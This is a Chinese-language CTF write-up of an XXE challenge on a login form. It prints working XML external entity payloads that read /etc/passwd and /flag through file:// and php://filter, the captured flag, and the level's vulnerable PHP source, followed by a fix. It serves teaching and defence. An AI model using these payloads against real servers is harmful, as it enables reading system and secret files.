一、题面
界面是一个登录框。
二、分析
抓包:
可以看到提交的是一个xml文档,root元素下面有username和password两个元素。
想到使用XXE外部实体注入攻击读取服务器敏感文件。XXE漏洞的具体详解见本站《XML外部实体注入漏洞(XXE)》一文。
三、解题
3.1 payload构造
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<username>admin</username>
<password>&xxe;</password>
</root>
但是没有回显。
观察响应内容,只有用户名被回显了,那么将外部实体的引用放在username标签中即可。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<username>&xxe;</username>
<password>12345</password>
</root>
成功读取到/etc/passwd
文件的内容。
3.2 获取flag
只需要改变一下读取的文件即可:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<username>&xxe;</username>
<password>12345</password>
</root>
flag:
flag{e61193a8-c8ad-4238-9b97-b4e9a417d9c5}
3.3 问题讨论
- 必须是
<!DOCTYPE root
吗?
答案是否定的,DOCTYPE定义的根元素可以不是root。
- 除了用file协议外,能用php://filter协议吗?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxx [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
]>
<root>
<username>&xxe;</username>
<password>12345</password>
</root>
答案是肯定的。
可以进一步尝试读取index.php的源代码:
base64解码后的内容是本关的源代码:
<?php
libxml_disable_entity_loader (false);
ini_set('display_errors','on');
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$payload = $info->username;
echo "Your username: ".$payload;
代码解析:
$xmlfile = file_get_contents('php://input');
- 从标准输入流中读取XML数据。
file_get_contents
函数用于读取文件内容,这里使用php://input
来获取通过HTTP POST请求发送的原始XML数据。$dom = new DOMDocument();
- 创建一个
DOMDocument
对象,用于解析XML数据。$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
- 使用
loadXML
方法将读取到的XML数据加载到DOMDocument
对象中。LIBXML_NOENT
标志表示解析时会将实体引用替换为它们的值,LIBXML_DTDLOAD
标志表示加载文档类型定义(DTD)。$info = simplexml_import_dom($dom);
- 将
DOMDocument
对象转换为SimpleXMLElement
对象,以便更方便地操作XML数据。$payload = $info->username;
- 从
SimpleXMLElement
对象中提取username
元素的值,并将其存储在变量$payload
中。这段代码存在严重的安全漏洞:
- 启用外部实体加载:
libxml_disable_entity_loader(false)
允许加载外部实体,这可能导致XML外部实体(XXE)攻击。攻击者可以通过构造恶意的XML数据来读取服务器上的文件或发起其他恶意行为。改进建议
- 禁用外部实体加载:
libxml_disable_entity_loader(true);
总结:
本关主要考察XXE漏洞,考点包括:1)XXE漏洞读取敏感文件。2)file://
和php://filter/read
协议的利用。